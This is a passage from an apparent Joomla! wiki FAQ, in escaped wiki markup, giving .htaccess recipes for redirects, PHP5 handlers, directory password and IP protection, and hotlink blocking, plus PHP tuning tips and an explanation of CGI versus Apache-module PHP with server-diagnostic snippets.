&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Requirements&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.&lt;br /&gt;
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.&lt;br /&gt;
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Check to be sure your site is configured to use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
2. Make a backup of the .htaccess file in your root public_http directory. If you don&#039;t have a .htaccess file at this location, create one now.&lt;br /&gt;
&lt;br /&gt;
3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.&lt;br /&gt;
&lt;br /&gt;
 AddType x-mapp-php5 .php&lt;br /&gt;
 AddHandler application/x-httpd-php5 .php&lt;br /&gt;
 AddHandler cgi-php5 .php&lt;br /&gt;
&lt;br /&gt;
4. Carefully test.&lt;br /&gt;
&lt;br /&gt;
5. Delete the backup .htaccess file. Don&#039;t leave backups of .htaccess files in public directories.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==How do I password protect directories using .htaccess?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveat (From Apache.org)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Basic authentication should not be considered secure for any particularly rigorous definition of secure.&lt;br /&gt;
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.&lt;br /&gt;
&lt;br /&gt;
Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.&lt;br /&gt;
&lt;br /&gt;
And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.&lt;br /&gt;
&lt;br /&gt;
Don&#039;t use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.&lt;br /&gt;
&lt;br /&gt;
Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.&lt;br /&gt;
Apache Authentication, Authorization, and Access Control&lt;br /&gt;
&lt;br /&gt;
2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.&lt;br /&gt;
&lt;br /&gt;
3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it&#039;s probably best to add the new code to it.&lt;br /&gt;
&lt;br /&gt;
4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.&lt;br /&gt;
&lt;br /&gt;
 /home/mysite/public_html/.htaccess&lt;br /&gt;
 /home/mysite/auth/.htpasswd/&lt;br /&gt;
 /home/mysite/auth/.htgroups/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you&#039;ve read the always current and official documentation at Apache.org, we&#039;ll spare you the trouble of displaying it again here.)&lt;br /&gt;
&lt;br /&gt;
6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don&#039;t forget the dot at the beginning of the name.)&lt;br /&gt;
&lt;br /&gt;
7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.&lt;br /&gt;
&lt;br /&gt;
 AuthUserFile /home/auth/.htpasswd&lt;br /&gt;
 AuthGroupFile /home/auth/.htgroups&lt;br /&gt;
 AuthType Basic&lt;br /&gt;
 AuthName &amp;quot;LWS&amp;quot;&lt;br /&gt;
 require group admins&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8. Test carefully.&lt;br /&gt;
&lt;br /&gt;
9. Remove all backup .htaccess files from public_http directories.&lt;br /&gt;
&lt;br /&gt;
10. If you cannot use the Apache htpasswd utility, here&#039;s a free, online script that creates the necessary files for you. You&#039;ll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you&#039;ll need to edit the resulting files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;.htaccess Generator:&#039;&#039;&#039; http://www.webmaster-toolkit.com/htaccess-generator.shtml&lt;br /&gt;
&lt;br /&gt;
== How do I restrict directory access by IP address using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)&lt;br /&gt;
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:&lt;br /&gt;
&lt;br /&gt;
 Order Deny,Allow&lt;br /&gt;
 Deny from all&lt;br /&gt;
 Allow from 100.100.100.100&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.&lt;br /&gt;
&lt;br /&gt;
* Optional: You can add multiple addresses by separating them with comma&#039;s.&lt;br /&gt;
&lt;br /&gt;
 100.100.100.101, 100.100.100.102&lt;br /&gt;
&lt;br /&gt;
==How do I convert an htaccess.txt file into a .htaccess file?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need &amp;quot;AllowOverride Options&amp;quot; or &amp;quot;AllowOverride All&amp;quot; privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.&lt;br /&gt;
# Make any adjustments to this file as appropriate for your site, and then save it in your site&#039;s home directory as, .htaccess (including the dot).&lt;br /&gt;
# Test your site&#039;s front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.&lt;br /&gt;
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Information&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]&lt;br /&gt;
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== How do I block direct hot linking to image files using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Caveats&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Your server must allow .htaccess files for this technique to work.&lt;br /&gt;
# If you do not have a .htaccess file in your root directory, see the related FAQ first.&lt;br /&gt;
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.&lt;br /&gt;
# Hot linked images can only be replaced by other images, not with HTML pages.&lt;br /&gt;
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.&lt;br /&gt;
# Place the following code in the .htaccess file of your root directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} !^$&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Explanation&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means &amp;quot;aNy Case&amp;quot;, which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Block hot linking from specific domains&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt; RewriteEngine On&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]&lt;br /&gt;
 RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means &amp;quot;Or Next&amp;quot;, as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Display a 403 forbidden code&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:&lt;br /&gt;
&lt;br /&gt;
 RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]&lt;br /&gt;
&lt;br /&gt;
= PHP =&lt;br /&gt;
&lt;br /&gt;
== Why is Joomla! written in PHP? ==&lt;br /&gt;
&lt;br /&gt;
: Might as well get it from the horse&#039;s mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.&lt;br /&gt;
&lt;br /&gt;
: &#039;&#039;&amp;quot;What it all boils down to is that PHP was never meant to win any beauty contests. It wasn&#039;t designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP&#039;s stubborness.&amp;quot;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
== What is the latest stable release of PHP? ==&lt;br /&gt;
&lt;br /&gt;
Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.&lt;br /&gt;
&lt;br /&gt;
== How do I tune for speed with PHP5 and MySQL5? ==&lt;br /&gt;
&lt;br /&gt;
: This is just a point by point summary of how I&#039;ve been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.&lt;br /&gt;
&lt;br /&gt;
: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.&lt;br /&gt;
&lt;br /&gt;
# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.&lt;br /&gt;
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.&lt;br /&gt;
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn&#039;t bad for JPG and GIF images either. Don&#039;t forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.&lt;br /&gt;
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn&#039;t write it, but it&#039;s short, to the point, and works.&lt;br /&gt;
&lt;br /&gt;
              ob_start (&amp;quot;ob_gzhandler&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Content-type: text/css&amp;quot;);&lt;br /&gt;
              header(&amp;quot;Cache-Control: must-revalidate&amp;quot;);&lt;br /&gt;
              $offset = 60 * 60 ;&lt;br /&gt;
              $ExpStr = &amp;quot;Expires: &amp;quot; .&lt;br /&gt;
              gmdate(&amp;quot;D, d M Y H:i:s&amp;quot;,&lt;br /&gt;
              time() + $offset) . &amp;quot; GMT&amp;quot;;&lt;br /&gt;
              header($ExpStr);&lt;br /&gt;
&lt;br /&gt;
# Strip unneeded modules, components, mambots from Joomla. If you haven&#039;t used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!&lt;br /&gt;
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don&#039;t necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you&#039;ve noticed any problems, it&#039;s time to fix the code creating them, and test thoroughly before uploading the fixed versions.&lt;br /&gt;
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Should PHP run as a CGI script or as an Apache module? ==&lt;br /&gt;
&lt;br /&gt;
There are two ways to configure Apache to use PHP: &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Configure Apache to load the PHP interpreter as an &amp;lt;i&amp;gt;Apache module&amp;lt;/i&amp;gt;&lt;br /&gt;
# Configure Apache to run the PHP interpreter as a &amp;lt;i&amp;gt;CGI binary&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;(PS: Windows IIS normaly configures as CGI by the way)&amp;lt;/span&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
It is the intention of this post to provide you information relating to &lt;br /&gt;
the configuration and recognition of each method. &amp;amp;quot;In general&amp;amp;quot;&lt;br /&gt;
historically only one method or the other has been implemented,&lt;br /&gt;
however, with the architectural changes made to PHP starting with PHP5,&lt;br /&gt;
it has been quite common for hosting firms to configure for both. One&lt;br /&gt;
version running as CGI and one version running as a Module. It is&lt;br /&gt;
generally accepted more recently that running PHP as a CGI is more&lt;br /&gt;
secure, however, running PHP as an Apache Module does have a slight&lt;br /&gt;
performance gain and is generally how most pre-configured systems will&lt;br /&gt;
be delivered out of the box.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;What is the difference between CGI and apache Module Mode?&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
An &amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Apache module&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
is compiled into the Apache binary, so the PHP interpreter runs in the&lt;br /&gt;
Apache process, meaning that when Apache spawns a child, each process&lt;br /&gt;
already contains a binary image of PHP. A CGI is executed as a single&lt;br /&gt;
process for each request, and must make an exec() or fork() call to the&lt;br /&gt;
PHP executable, meaning that each request will create a new process of&lt;br /&gt;
the PHP interpreter.  Apache is much more efficient in it&#039;s ability to&lt;br /&gt;
handle requests, and maaging resources, making the Apache module&lt;br /&gt;
slightly faster than the CGI (as well as more stable under load).&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;CGI Mode&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&lt;br /&gt;
on the other hand, is more secure because the server now manages and&lt;br /&gt;
controls access to the binaries. PHP can now run as your own user&lt;br /&gt;
rather than the generic Apache user. This means you can put your&lt;br /&gt;
database passwords in a file readable only by you and your php scripts&lt;br /&gt;
can still access it! The &amp;amp;quot;Group&amp;amp;quot; and &amp;amp;quot;Other&amp;amp;quot; permissions ( refer &amp;lt;a href=&amp;quot;component/option,com_easyfaq/task,view/id,73/Itemid,268/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Permissions FAQ&amp;lt;/a&amp;gt;&lt;br /&gt;
&lt;br /&gt;
can now be more restrictive. CGI mode is also claimed to be more&lt;br /&gt;
flexible in many respects as you should now not see, with phpSuExec (&lt;br /&gt;
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank Permissions under phpSuExec]&lt;br /&gt;
issues with file ownership being taken over by the Apache user,&lt;br /&gt;
therefore you should no-longer have problems under FTP when trying to&lt;br /&gt;
access or modify files that have been uploaded through a PHP interface,&lt;br /&gt;
such as Joomla! upload options.&lt;br /&gt;
&lt;br /&gt;
If your server is&lt;br /&gt;
configured to run PHP as an Apache module, then you will have the&lt;br /&gt;
choice of using either php.ini or Apache .htaccess files, however, if&lt;br /&gt;
your server runs PHP in CGI mode then you will only have the choice of&lt;br /&gt;
using php.ini files locally to change settings, as Apache is no longer&lt;br /&gt;
in complete control of PHP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;hr /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Testing and Reviewing Your PHP Installation&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;i&amp;gt;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Also known as &amp;amp;quot;Everything you ever wanted and didn&#039;t want to know about PHP&amp;amp;quot;&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To&lt;br /&gt;
find out the PHP interpreter mode and to generally test your PHP&lt;br /&gt;
installation and to find out a vast amount of information about your&lt;br /&gt;
PHP environment, supported utilities, applications and settings, you&lt;br /&gt;
create a single PHP file containing &amp;lt;i&amp;gt;only&amp;lt;/i&amp;gt; the following lines;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 phpinfo();&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This single line of code outputs an amazing amount of information, be warned.... &amp;lt;img src=&amp;quot;http://forum.joomla.org/Smileys/joomla/wink.gif&amp;quot; alt=&amp;quot;Wink&amp;quot; border=&amp;quot;0&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Save the file as any filename you wish, but with the &amp;amp;quot;.php&amp;amp;quot; extension. FTP it to your server and open it in a browser.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Other useful information&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The following are PHP functions, that when run from a PHP File can provide some useful information, &amp;lt;i&amp;gt;(less than the above option)&amp;lt;/i&amp;gt; many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee&#039;s offered...&lt;br /&gt;
&lt;br /&gt;
Again,&lt;br /&gt;
as above, make a file, name it anything you wish but make sure it has&lt;br /&gt;
the &amp;amp;quot;.php&amp;amp;quot; extension, copy and paste the following lines in to it and&lt;br /&gt;
FTP to your server.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;?&amp;lt;br /&amp;gt;echo &amp;amp;quot;Hostname: &amp;amp;quot;. @php_uname(n) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 if (function_exists( &#039;shell_exec&#039; )) { echo &amp;amp;quot;Hostname: &amp;amp;quot;.&lt;br /&gt;
 @gethostbyname(trim(`hostname`)); } else { echo &amp;amp;quot;Server IP: &amp;amp;quot;.&lt;br /&gt;
 $_SERVER[&#039;SERVER_ADDR&#039;] .&amp;amp;quot;&amp;amp;quot;; }&lt;br /&gt;
 echo &amp;amp;quot;Platform: &amp;amp;quot;. @php_uname(s) .&amp;amp;quot; &amp;amp;quot;. @php_uname(r) .&amp;amp;quot; &amp;amp;quot;. @php_uname(v) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Architecture: &amp;amp;quot;. @php_uname(m) .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Username: &amp;amp;quot;. get_current_user () .&amp;amp;quot; ( UiD: &amp;amp;quot;. getmyuid() .&amp;amp;quot;, GiD: &amp;amp;quot;. getmygid() .&amp;amp;quot; )&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Curent Path: &amp;amp;quot;. getcwd () .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Type: &amp;amp;quot;. $_SERVER[&#039;SERVER_SOFTWARE&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Admin: &amp;amp;quot;. $_SERVER[&#039;SERVER_ADMIN&#039;] . &amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Signature: &amp;amp;quot;. $_SERVER[&#039;SERVER_SIGNATURE&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Protocol: &amp;amp;quot;. $_SERVER[&#039;SERVER_PROTOCOL&#039;] .&amp;amp;quot;&amp;amp;quot;;&lt;br /&gt;
 echo &amp;amp;quot;Server Mode: &amp;amp;quot;. $_SERVER[&#039;GATEWAY_INTERFACE&#039;] .&amp;amp;quot;&amp;amp;quot;;&amp;lt;br /&amp;gt;&lt;br /&gt;
 ?&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! HISA&amp;lt;/span&amp;gt; or &amp;lt;span style=&amp;quot;color: blue&amp;quot;&amp;gt;Joomla! Tools Suite&amp;lt;/span&amp;gt; can also assist to determine which mode your server in running in, also&lt;br /&gt;
providing a large amount of other related  information including&lt;br /&gt;
recommendations on configuration;     &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Tools Suite&amp;lt;/b&amp;gt; (JTS) is a complete &amp;amp;quot;Suite&amp;amp;quot; of Tools to help you troubleshoot and maintain Joomla! and include the &amp;amp;quot;HISA&amp;amp;quot; script&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/jts/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download JTS Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Joomla! Health, Installation and Security Audit&amp;lt;/b&amp;gt; (HISA) is a single standalone script that provides purely configuration information.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://joomlacode.org/gf/project/hisa/&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Download HISA Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://forum.joomla.org/index.php/topic,136328.0.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;Forum Discussion Here&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;a href=&amp;quot;http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;How to TroubleShoot A Joomla! Installation&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Another &amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;Indirect method&amp;lt;/span&amp;gt;,&lt;br /&gt;
and possibly not 100% reliable, is that if you are unable to make use&lt;br /&gt;
of .htaccess on Linux hosting and Apache based servers then you are&lt;br /&gt;
either running in CGI mode or your host has disabled the use of&lt;br /&gt;
.htaccess even if your server is running PHP as an Apache Module. &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;color: maroon&amp;quot;&amp;gt;Remove these files immediately after use, the information contained in their&lt;br /&gt;
output is extensive and explicit regarding your PHP and server&lt;br /&gt;
configurations, it will help those wishing to cause your site harm&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;  &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;&amp;lt;span style=&amp;quot;text-decoration: underline&amp;quot;&amp;gt;For those wishing to know more about &amp;amp;quot;How To...&amp;amp;quot;&amp;lt;/span&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: navy&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Running PHP as an Apache module&amp;lt;/b&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
To configure Apache to load PHP as a module to &amp;lt;i&amp;gt;&#039;parse&#039;&amp;lt;/i&amp;gt;&lt;br /&gt;
your PHP scripts, the httpd.conf needs to be modified, typically found&lt;br /&gt;
in &amp;amp;quot;c:\Program Files\Apache Group\Apache\conf\&amp;amp;quot; or &amp;amp;quot;/etc/httpd/conf/&amp;amp;quot;.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Search for the section of the file that has a series of commented out&lt;br /&gt;
